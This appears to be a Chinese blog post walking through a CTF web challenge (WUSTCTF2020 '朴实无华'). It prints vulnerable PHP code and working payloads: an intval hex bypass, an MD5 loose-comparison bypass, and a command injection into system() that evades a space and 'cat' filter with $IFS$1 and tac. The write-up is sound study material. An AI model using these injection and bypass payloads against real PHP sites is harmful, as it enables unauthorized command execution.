小玩CTF:周三行动

[WUSTCTF2020]朴实无华

首先打开页面,发现无信息

image

含泪扫墓路,发现robots.txt

image

访问其中的链接,此时发现http头中藏有一个路径

image

直接访问,得到以下代码,有一点点乱码,用抓包软件打开即可

image

image

发现代码分为三关,我们一关一关看

第一关:intval绕过

//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}

这里我们注意到intval函数中只有一个参数,所以不会进行进制转换

如果我们在第一个判断中传入0x9999这种16进制数,是会被读取为0的

同时在第二个判断中0x9999+1会得到一个int,传入后大于2021即可

到此为止,第一关已经绕过了

payload:http://xx.com/fl4g.php?num=0x9999

第二关:MD5绕过

//level 2
if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
   else
       die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die("去非洲吧");
}

一个比较常规的md5绕过

一个数值md5前后相等(弱相等)

md5('0e215962017');为0e291242476940776845150308577824

两者弱相等(科学记数法)

payload:http://xx.com/fl4g.php?num=0x9999&md5=0e215962017

第三关:命令执行绕过

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}

判断了是否有空格,替换了cat命令

先用ls查看目录

image

直接开绕$IFS$1绕过空格,tac绕过cat

image

最终payload

/fl4g.php?num=0x6666&md5=0e215962017&get_flag=tac$IFS$1fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
posted @ 2024-12-18 16:25  aixve  阅读(29)  评论(0)    收藏  举报